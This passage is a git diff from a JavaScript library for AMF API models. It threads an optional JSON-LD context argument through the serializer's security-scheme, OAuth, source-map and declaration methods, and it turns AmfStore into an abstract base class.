+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const type = this._getValue(object, ns.aml.vocabularies.security.type);
+    const type = this._getValue(object, ns.aml.vocabularies.security.type, objectContext);
     if (type && typeof type === 'string') {
       result.type = type;
     }
-    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings)];
+    let settings = object[this._getAmfKey(ns.aml.vocabularies.security.settings, objectContext)];
     if (settings) {
       if (Array.isArray(settings)) {
         [settings] = settings;
       }
-      result.settings = this.securitySettings(settings);
+      result.settings = this.securitySettings(settings, objectContext);
     }
-    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString)];
+    let queryString = object[this._getAmfKey(ns.aml.vocabularies.apiContract.queryString, objectContext)];
     if (queryString) {
       if (Array.isArray(queryString)) {
         [queryString] = queryString;
       }
-      result.queryString = this.unknownShape(queryString);
+      result.queryString = this.unknownShape(queryString, undefined, objectContext);
     }
-    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header);
+    const headers = this[getArrayItems](object, ns.aml.vocabularies.apiContract.header, objectContext);
     if (Array.isArray(headers) && headers.length) {
-      result.headers = headers.map(p => this.parameter(p));
+      result.headers = headers.map(p => this.parameter(p, objectContext));
     }
-    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter);
+    const queryParameters = this[getArrayItems](object, ns.aml.vocabularies.apiContract.parameter, objectContext);
     if (Array.isArray(queryParameters) && queryParameters.length) {
-      result.queryParameters = queryParameters.map(p => this.parameter(p));
+      result.queryParameters = queryParameters.map(p => this.parameter(p, objectContext));
     }
-    const responses = this[getArrayItems](object, ns.aml.vocabularies.apiContract.response);
+    const responses = this[getArrayItems](object, ns.aml.vocabularies.apiContract.response, objectContext);
     if (Array.isArray(responses) && responses.length) {
-      result.responses = responses.map(p => this.response(/** @type Response */ (p)));
+      result.responses = responses.map(p => this.response(/** @type Response */ (p), objectContext));
     }
     return result;
   }
 
   /**
    * @param {SecurityRequirement} object The SecurityRequirement to serialize.
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityRequirement} Serialized SecurityRequirement
    */
-  securityRequirement(object) {
+  securityRequirement(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiSecurityRequirement */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       schemes: [],
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const schemes = /** @type ParametrizedSecurityScheme[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.schemes)]);
+    const schemes = /** @type ParametrizedSecurityScheme[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.schemes, objectContext)]);
     if (Array.isArray(schemes) && schemes.length) {
-      result.schemes = schemes.map(p => this.parametrizedSecurityScheme(p));
+      result.schemes = schemes.map(p => this.parametrizedSecurityScheme(p, objectContext));
     }
     return result;
   }
 
   /**
    * @param {Settings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecuritySettingsUnion}
    */
-  securitySettings(object) {
+  securitySettings(object, context) {
+    const objectContext = context || object['@context'];
     const { ns } = this;
-    const types = this.readTypes(object['@type']);
+    const types = this.readTypes(object['@type'], objectContext);
     if (types.includes(ns.aml.vocabularies.security.OAuth1Settings)) {
-      return this.oAuth1Settings(/** @type OAuth1Settings */ (object));
+      return this.oAuth1Settings(/** @type OAuth1Settings */ (object), objectContext);
     }
     if (types.includes(ns.aml.vocabularies.security.OAuth2Settings)) {
-      return this.oAuth2Settings(/** @type OAuth2Settings */ (object));
+      return this.oAuth2Settings(/** @type OAuth2Settings */ (object), objectContext);
     }
     if (types.includes(ns.aml.vocabularies.security.ApiKeySettings)) {
-      return this.apiKeySettings(/** @type ApiKeySettings */ (object));
+      return this.apiKeySettings(/** @type ApiKeySettings */ (object), objectContext);
     }
     if (types.includes(ns.aml.vocabularies.security.HttpSettings)) {
-      return this.httpSettings(/** @type HttpSettings */ (object));
+      return this.httpSettings(/** @type HttpSettings */ (object), objectContext);
     }
     if (types.includes(ns.aml.vocabularies.security.OpenIdConnectSettings)) {
-      return this.openIdConnectSettings(/** @type OpenIdConnectSettings */ (object));
+      return this.openIdConnectSettings(/** @type OpenIdConnectSettings */ (object), objectContext);
     }
-    return this.settings(object);
+    return this.settings(object, objectContext);
   }
 
   /**
    * @param {Settings} object
+   * @param {Record<string, string>=} context
    * @returns {ApiSecuritySettings}
    */
-  settings(object) {
+  settings(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiSecuritySettings */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     // if (additionalProperties && additionalProperties.id) {
     //   result.additionalProperties = this.unknownDataNode(additionalProperties);
@@ -1904,24 +1994,26 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {OAuth1Settings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityOAuth1Settings}
    */
-  oAuth1Settings(object) {
-    const result = /** @type ApiSecurityOAuth1Settings */ (this.settings(object));
+  oAuth1Settings(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiSecurityOAuth1Settings */ (this.settings(object, objectContext));
     const { ns } = this;
-    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri);
+    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri, objectContext);
     if (authorizationUri && typeof authorizationUri === 'string') {
       result.authorizationUri = authorizationUri;
     }
-    const requestTokenUri = this._getValue(object, ns.aml.vocabularies.security.requestTokenUri);
+    const requestTokenUri = this._getValue(object, ns.aml.vocabularies.security.requestTokenUri, objectContext);
     if (requestTokenUri && typeof requestTokenUri === 'string') {
       result.requestTokenUri = requestTokenUri;
     }
-    const tokenCredentialsUri = this._getValue(object, ns.aml.vocabularies.security.tokenCredentialsUri);
+    const tokenCredentialsUri = this._getValue(object, ns.aml.vocabularies.security.tokenCredentialsUri, objectContext);
     if (tokenCredentialsUri && typeof tokenCredentialsUri === 'string') {
       result.tokenCredentialsUri = tokenCredentialsUri;
     }
-    const signatures = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.signature));
+    const signatures = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.signature, objectContext));
     if (Array.isArray(signatures) && signatures.length) {
       result.signatures = signatures;
     } else {
@@ -1932,20 +2024,22 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {OAuth2Settings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityOAuth2Settings}
    */
-  oAuth2Settings(object) {
-    const result = /** @type ApiSecurityOAuth2Settings */ (this.settings(object));
+  oAuth2Settings(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiSecurityOAuth2Settings */ (this.settings(object, objectContext));
     const { ns } = this;
-    const grants = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.authorizationGrant));
+    const grants = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.security.authorizationGrant, objectContext));
     if (Array.isArray(grants) && grants.length) {
       result.authorizationGrants = grants;
     } else {
       result.authorizationGrants = [];
     }
-    const flows = /** @type OAuth2Flow[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.flows)]);
+    const flows = /** @type OAuth2Flow[] */ (object[this._getAmfKey(ns.aml.vocabularies.security.flows, objectContext)]);
     if (Array.isArray(flows) && flows.length) {
-      result.flows = flows.map((p) => this.oAuth2Flow(p));
+      result.flows = flows.map((p) => this.oAuth2Flow(p, objectContext));
     } else {
       result.flows = [];
     }
@@ -1954,57 +2048,61 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {OAuth2Flow} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityOAuth2Flow}
    */
-  oAuth2Flow(object) {
+  oAuth2Flow(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiSecurityOAuth2Flow */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
       scopes: [],
-      sourceMaps: this.sourceMap(object),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri);
+    const authorizationUri = this._getValue(object, ns.aml.vocabularies.security.authorizationUri, objectContext);
     if (authorizationUri && typeof authorizationUri === 'string') {
       result.authorizationUri = authorizationUri;
     }
-    const accessTokenUri = this._getValue(object, ns.aml.vocabularies.security.accessTokenUri);
+    const accessTokenUri = this._getValue(object, ns.aml.vocabularies.security.accessTokenUri, objectContext);
     if (accessTokenUri && typeof accessTokenUri === 'string') {
       result.accessTokenUri = accessTokenUri;
     }
-    const flow = this._getValue(object, ns.aml.vocabularies.security.flow);
+    const flow = this._getValue(object, ns.aml.vocabularies.security.flow, objectContext);
     if (flow && typeof flow === 'string') {
       result.flow = flow;
     }
-    const refreshUri = this._getValue(object, ns.aml.vocabularies.security.refreshUri);
+    const refreshUri = this._getValue(object, ns.aml.vocabularies.security.refreshUri, objectContext);
     if (refreshUri && typeof refreshUri === 'string') {
       result.refreshUri = refreshUri;
     }
-    const scopes = object[this._getAmfKey(ns.aml.vocabularies.security.scope)];
+    const scopes = object[this._getAmfKey(ns.aml.vocabularies.security.scope, objectContext)];
     if (Array.isArray(scopes) && scopes.length) {
-      result.scopes = scopes.map((p) => this.scope(p));
+      result.scopes = scopes.map((p) => this.scope(p, objectContext));
     }
     return result;
   }
 
   /**
    * @param {Scope} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityScope}
    */
-  scope(object) {
+  scope(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiSecurityScope */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
@@ -2013,16 +2111,18 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ApiKeySettings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityApiKeySettings}
    */
-  apiKeySettings(object) {
-    const result = /** @type ApiSecurityApiKeySettings */ (this.settings(object));
+  apiKeySettings(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiSecurityApiKeySettings */ (this.settings(object, objectContext));
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const inParam = this._getValue(object, ns.aml.vocabularies.security.in);
+    const inParam = this._getValue(object, ns.aml.vocabularies.security.in, objectContext);
     if (inParam && typeof inParam === 'string') {
       result.in = inParam;
     }
@@ -2031,16 +2131,18 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {HttpSettings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityHttpSettings}
    */
-  httpSettings(object) {
-    const result = /** @type ApiSecurityHttpSettings */ (this.settings(object));
+  httpSettings(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiSecurityHttpSettings */ (this.settings(object, objectContext));
     const { ns } = this;
-    const scheme = this._getValue(object, ns.aml.vocabularies.security.scheme);
+    const scheme = this._getValue(object, ns.aml.vocabularies.security.scheme, objectContext);
     if (scheme && typeof scheme === 'string') {
       result.scheme = scheme;
     }
-    const bearerFormat = this._getValue(object, ns.aml.vocabularies.security.bearerFormat);
+    const bearerFormat = this._getValue(object, ns.aml.vocabularies.security.bearerFormat, objectContext);
     if (bearerFormat && typeof bearerFormat === 'string') {
       result.bearerFormat = bearerFormat;
     }
@@ -2049,12 +2151,14 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {OpenIdConnectSettings} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSecurityOpenIdConnectSettings}
    */
-  openIdConnectSettings(object) {
-    const result = /** @type ApiSecurityOpenIdConnectSettings */ (this.settings(object));
+  openIdConnectSettings(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiSecurityOpenIdConnectSettings */ (this.settings(object, objectContext));
     const { ns } = this;
-    const url = this._getValue(object, ns.aml.vocabularies.security.openIdConnectUrl);
+    const url = this._getValue(object, ns.aml.vocabularies.security.openIdConnectUrl, objectContext);
     if (url && typeof url === 'string') {
       result.url = url;
     }
@@ -2064,11 +2168,13 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
   /**
    * Serializes source maps, when available.
    * @param {DocumentSourceMaps} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiDocumentSourceMaps|undefined}
    */
-  sourceMap(object) {
+  sourceMap(object, context) {
+    const objectContext = context || object['@context'];
     const { ns } = this;
-    let sm = object[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources)];
+    let sm = object[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources, objectContext)];
     if (!sm) {
       return undefined;
     }
@@ -2079,38 +2185,40 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       id: sm['@id'],
       types: this.readTypes(sm['@type']),
     });
-    const synthesizedField = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField)];
+    const synthesizedField = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.synthesizedField, objectContext)];
     if (Array.isArray(synthesizedField) && synthesizedField.length) {
-      result.synthesizedField = synthesizedField.map(i => this.synthesizedField(i));
+      result.synthesizedField = synthesizedField.map(i => this.synthesizedField(i, objectContext));
     }
-    const lexical = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical)];
+    const lexical = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.lexical, objectContext)];
     if (Array.isArray(lexical) && lexical.length) {
-      result.lexical = lexical.map(i => this.synthesizedField(i))
+      result.lexical = lexical.map(i => this.synthesizedField(i, objectContext))
     }
-    const trackedElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement)];
+    const trackedElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.trackedElement, objectContext)];
     if (Array.isArray(trackedElement) && trackedElement.length) {
-      result.trackedElement = this.synthesizedField(trackedElement[0]);
+      result.trackedElement = this.synthesizedField(trackedElement[0], objectContext);
     }
-    const autoName = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.autoGeneratedName)];
+    const autoName = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.autoGeneratedName, objectContext)];
     if (Array.isArray(autoName) && autoName.length) {
-      result.autoGeneratedName = autoName.map(i => this.synthesizedField(i))
+      result.autoGeneratedName = autoName.map(i => this.synthesizedField(i, objectContext))
     }
-    const jsonSchema = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.parsedJsonSchema)];
+    const jsonSchema = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.parsedJsonSchema, objectContext)];
     if (Array.isArray(jsonSchema) && jsonSchema.length) {
-      result.parsedJsonSchema = this.synthesizedField(jsonSchema[0]);
+      result.parsedJsonSchema = this.synthesizedField(jsonSchema[0], objectContext);
     }
-    const declaredElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement)];
+    const declaredElement = sm[this._getAmfKey(ns.aml.vocabularies.docSourceMaps.declaredElement, objectContext)];
     if (Array.isArray(declaredElement) && declaredElement.length) {
-      result.declaredElement = this.synthesizedField(declaredElement[0]);
+      result.declaredElement = this.synthesizedField(declaredElement[0], objectContext);
     }
     return result;
   }
 
   /**
    * @param {SynthesizedField} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiSynthesizedField}
    */
-  synthesizedField(object) {
+  synthesizedField(object, context) {
+    const objectContext = context || object['@context'];
     // compact model
     if (typeof object === 'string') {
       return /** @type ApiSynthesizedField */ ({
@@ -2122,12 +2230,12 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
       id: object['@id'],
     });
     // @ts-ignore
-    const element = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.element);
+    const element = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.element, objectContext);
     if (typeof element === 'string') {
       result.element = element;
     }
     // @ts-ignore
-    const value = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.value);
+    const value = this._getValue(object, this.ns.aml.vocabularies.docSourceMaps.value, objectContext);
     if (typeof value === 'string') {
       result.value = value
     }
@@ -2136,124 +2244,135 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {ParametrizedDeclaration} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiParametrizedDeclaration}
    */
-  parametrizedDeclaration(object) {
+  parametrizedDeclaration(object, context) {
+    const objectContext = context || object['@context'];
     const result = /** @type ApiParametrizedDeclaration */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
+      types: this.readTypes(object['@type'], objectContext),
       variables: [],
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
     });
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     if (name && typeof name === 'string') {
       result.name = name;
     }
-    const variables = object[this._getAmfKey(ns.aml.vocabularies.document.variable)];
+    const variables = object[this._getAmfKey(ns.aml.vocabularies.document.variable, objectContext)];
     if (Array.isArray(variables)) {
       variables.forEach((item) => {
-        result.variables.push(this.variableValue(item));
+        result.variables.push(this.variableValue(item, objectContext));
       });
     }
-    const targets = object[this._getAmfKey(ns.aml.vocabularies.document.target)];
+    const targets = object[this._getAmfKey(ns.aml.vocabularies.document.target, objectContext)];
     if (Array.isArray(targets) && targets.length) {
       const [target] = targets;
-      result.target = this.abstractDeclaration(target);
+      result.target = this.abstractDeclaration(target, objectContext);
     }
     return result;
   }
 
   /**
    * @param {ParametrizedTrait} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiParametrizedTrait}
    */
-  parametrizedTrait(object) {
-    const result = /** @type ApiParametrizedTrait */ (this.parametrizedDeclaration(object));
+  parametrizedTrait(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiParametrizedTrait */ (this.parametrizedDeclaration(object, objectContext));
     return result;
   }
 
   /**
-   * @param {ParametrizedResourceType} object 
+   * @param {ParametrizedResourceType} object
+   * @param {Record<string, string>=} context 
    * @returns {ApiParametrizedResourceType}
    */
-  parametrizedResourceType(object) {
-    const result = /** @type ApiParametrizedResourceType */ (this.parametrizedDeclaration(object));
+  parametrizedResourceType(object, context) {
+    const objectContext = context || object['@context'];
+    const result = /** @type ApiParametrizedResourceType */ (this.parametrizedDeclaration(object, objectContext));
     return result;
   }
 
   /**
    * @param {VariableValue} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiVariableValue}
    */
-  variableValue(object) {
+  variableValue(object, context) {
+    const objectContext = context || object['@context'];
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     const result = /** @type ApiVariableValue */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       name,
     });
-    const values = object[this._getAmfKey(ns.aml.vocabularies.document.value)];
+    const values = object[this._getAmfKey(ns.aml.vocabularies.document.value, objectContext)];
     if (Array.isArray(values)) {
       const [item] = values;
-      result.value = this.unknownDataNode(item);
+      result.value = this.unknownDataNode(item, objectContext);
     }
     return result;
   }
 
   /**
    * @param {AbstractDeclaration} object 
+   * @param {Record<string, string>=} context
    * @returns {ApiAbstractDeclaration}
    */
-  abstractDeclaration(object) {
+  abstractDeclaration(object, context) {
+    const objectContext = context || object['@context'];
     const { ns } = this;
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, objectContext);
     const result = /** @type ApiAbstractDeclaration */ ({
       id: object['@id'],
-      types: this.readTypes(object['@type']),
-      customDomainProperties: this.customDomainProperties(object),
-      sourceMaps: this.sourceMap(object),
+      types: this.readTypes(object['@type'], objectContext),
+      customDomainProperties: this.customDomainProperties(object, objectContext),
+      sourceMaps: this.sourceMap(object, objectContext),
       name,
       variables: [],
     });
-    const variables = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.document.variable));
+    const variables = /** @type string[] */ (this._getValueArray(object, ns.aml.vocabularies.document.variable, objectContext));
     if (Array.isArray(variables)) {
       result.variables = variables;
     }
-    const description = this._getValue(object, ns.aml.vocabularies.core.description);
+    const description = this._getValue(object, ns.aml.vocabularies.core.description, objectContext);
     if (description && typeof description === 'string') {
       result.description = description;
     }
-    const dataNode = object[this._getAmfKey(ns.aml.vocabularies.document.dataNode)];
+    const dataNode = object[this._getAmfKey(ns.aml.vocabularies.document.dataNode, objectContext)];
     if (Array.isArray(dataNode)) {
       const [item] = dataNode;
-      result.dataNode = this.unknownDataNode(item);
+      result.dataNode = this.unknownDataNode(item, objectContext);
     }
     return result;
   }
 
   /**
    * @param {EndPoint} object The EndPoint to serialize as a list item.
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiEndPointWithOperationsListItem} Serialized EndPoint as a list item.
    */
-  endPointWithOperationsListItem(object) {
+  endPointWithOperationsListItem(object, context) {
     const { ns } = this;
-    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path);
+    const path = this._getValue(object, ns.aml.vocabularies.apiContract.path, context);
 
     const result = /** @type ApiEndPointWithOperationsListItem */ ({
       id: object['@id'],
       path,
       operations: [],
     });
-    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation);
+    const operations = this[getArrayItems](object, ns.aml.vocabularies.apiContract.supportedOperation, context);
     if (Array.isArray(operations) && operations.length) {
-      result.operations = operations.map(i => this.operationListItem(/** @type Operation */ (i)));
+      result.operations = operations.map(i => this.operationListItem(/** @type Operation */ (i), context));
     }
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, context);
     if (name && typeof name === 'string') {
       result.name = name;
     }
@@ -2262,19 +2381,20 @@ export class AmfSerializer extends AmfHelperMixin(Object) {
 
   /**
    * @param {Operation} object The Operation to serialize as a list item.
+   * @param {Record<string, string>=} context A context to use. If not set, it looks for the context of the passed model
    * @returns {ApiOperationListItem} Serialized Operation as a list item.
    */
-  operationListItem(object) {
+  operationListItem(object, context) {
     const result = /** @type ApiOperationListItem */ ({
       id: object['@id'],
       method: '',
     });
     const { ns } = this;
-    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method);
+    const method = this._getValue(object, ns.aml.vocabularies.apiContract.method, context);
     if (method && typeof method === 'string') {
       result.method = method;
     }
-    const name = this._getValue(object, ns.aml.vocabularies.core.name);
+    const name = this._getValue(object, ns.aml.vocabularies.core.name, context);
     if (name && typeof name === 'string') {
       result.name = name;
     }
diff --git a/src/helpers/amf.d.ts b/src/helpers/amf.d.ts
index 945fb2e..dd5ead3 100644
--- a/src/helpers/amf.d.ts
+++ b/src/helpers/amf.d.ts
@@ -1,6 +1,7 @@
 export declare interface DomainElement {
   '@id': string;
   '@type': string[];
+  '@context'?: Record<string, string>;
   'http://a.ml/vocabularies/document#customDomainProperties'?: [];
 }
 
diff --git a/src/store/AmfStore.d.ts b/src/store/AmfStore.d.ts
index 85a1488..1bc586c 100644
--- a/src/store/AmfStore.d.ts
+++ b/src/store/AmfStore.d.ts
@@ -1,37 +1,15 @@
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin';
-import { AmfSerializer } from '../helpers/AmfSerializer';
-import { AmfDocument, DomainElement } from '../helpers/amf';
 import { ApiSummary, ApiEndPoint, ApiOperation, ServersQueryOptions, ApiServer, ApiDocumentation, ApiSecurityScheme, ApiSecurityRequirement, ApiRequest, ApiResponse, ApiPayload, ApiShapeUnion } from '../helpers/api';
 import { DocumentMeta, ApiEndPointWithOperationsListItem, ApiSecuritySchemeListItem, ApiNodeShapeListItem } from '../types';
 
 /**
  * The store that provides an API to read data from the AMF graph model.
  */
-export class AmfStore extends AmfHelperMixin(Object) {
-  /**
-   * The event target to dispatch the events on.
-   */
-  target: EventTarget;
-  /**
-   * The full API model.
-   */
-  amf: AmfDocument;
-  /** 
-   * The API serializer
-   */
-  serializer: AmfSerializer;
+export class AmfStore {
   /** 
    * For future use.
    * Indicates that this store is read only.
    */
   readonly?: boolean;
-  /**
-   * @param eventsTarget The event target to dispatch the events on.
-   * @param graph The full API model.
-   */
-  constructor(eventsTarget?: EventTarget, graph?: AmfDocument);
-
-  __amfChanged(amf: AmfDocument): void;
 
   /**
    * @returns The list of domain types for the currently loaded document.
@@ -58,12 +36,6 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns Currently loaded API's version
    */
   apiVersion(): Promise<string|null>;
-
-  /**
-   * Finds an endpoint in the graph.
-   * @param id The domain id of the endpoint.
-   */
-  private findEndpoint(id: string): ApiEndPoint|null;
   
   /**
    * Reads an endpoint by its id.
@@ -89,13 +61,6 @@ export class AmfStore extends AmfHelperMixin(Object) {
    */
   queryServers(query?: ServersQueryOptions): Promise<ApiServer[]>;
 
-  /**
-   * Searches for an operation in the API.
-   * @param operationId The domain id of the operation to read.
-   * @param endpointId Optional endpoint id. When not set it searches through all endpoints.
-   */
-  private findOperation(operationId: string, endpointId?: string): ApiOperation|undefined;
-
   /**
    * Reads the operation model.
    * @param operationId The domain id of the operation to read.
@@ -150,11 +115,6 @@ export class AmfStore extends AmfHelperMixin(Object) {
    */
   getResponse(id: string): Promise<ApiResponse>;
 
-  /**
-   * Finds a payload in a request or a response object.
-   */
-  private findPayload(object: DomainElement, domainId: string): ApiPayload|undefined;
-
   /**
    * Reads Payload data from the graph
    * @param id The domain id of the payload
diff --git a/src/store/AmfStore.js b/src/store/AmfStore.js
index 7179c77..0d2f17f 100644
--- a/src/store/AmfStore.js
+++ b/src/store/AmfStore.js
@@ -1,9 +1,5 @@
 /* eslint-disable no-unused-vars */
 /* eslint-disable class-methods-use-this */
-/* eslint-disable no-continue */
-import { AmfHelperMixin } from '../helpers/AmfHelperMixin.js';
-import { AmfSerializer } from '../helpers/AmfSerializer.js';
-import { StoreEvents } from '../events/StoreEvents.js';
 
 /** @typedef {import('../helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../helpers/amf').DomainElement} DomainElement */
@@ -25,57 +21,22 @@ import { StoreEvents } from '../events/StoreEvents.js';
 /** @typedef {import('../types').DocumentMeta} DocumentMeta */
 
 /**
- * The store that provides an API to read data from the AMF graph model.
+ * An abstract base class for the store implementation that works with API Components.
  */
-export class AmfStore extends AmfHelperMixin(Object) {
-  /**
-   * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
-   * @param {AmfDocument=} graph The full API model.
-   */
-  constructor(eventsTarget=window, graph) {
-    super();
-    this.target = eventsTarget;
-    let amf = graph;
-    if (Array.isArray(graph)) {
-      [amf] = graph;
-    }
-    /** 
-     * The API serializer
-     */
-    this.serializer = new AmfSerializer(amf);
-    /** 
-     * The graph model.
-     */
-    this.amf = amf;
+export class AmfStore {
+  constructor() {
     /** 
      * For future use.
-     * Indicates that this store is read only.
+     * Indicates that the store is read only.
      */
     this.readonly = true;
   }
 
-  /**
-   * @param {AmfDocument} amf
-   */
-  __amfChanged(amf) {
-    this.serializer.amf = amf;
-    if (this.target) {
-      StoreEvents.graphChange(this.target);
-    }
-  }
-
   /**
    * @returns {string[]} The list of domain types for the currently loaded document.
    */
   getDocumentTypes() {
-    let { amf } = this;
-    if (Array.isArray(amf)) {
-      [amf] = amf;
-    }
-    if (!amf) {
-      return [];
-    }
-    return this.serializer.readTypes(amf['@type']);
+    throw new Error('Not implemented');
   }
 
   /**
@@ -85,104 +46,28 @@ export class AmfStore extends AmfHelperMixin(Object) {
    * @returns {Promise<DocumentMeta>}
    */
   async documentMeta() {
-    const result = /** @type DocumentMeta */ ({
-      isApi: false,
-      isAsync: false,
-      isFragment: false,
-      isLibrary: false,
-      types: this.getDocumentTypes(),
-      encodesId: undefined,
-    });
-    let { amf } = this;
-    if (Array.isArray(amf)) {
-      [amf] = amf;
-    }
-    if (!amf) {
-      return result;
-    }
-    const encodes = this._computeEncodes(amf);
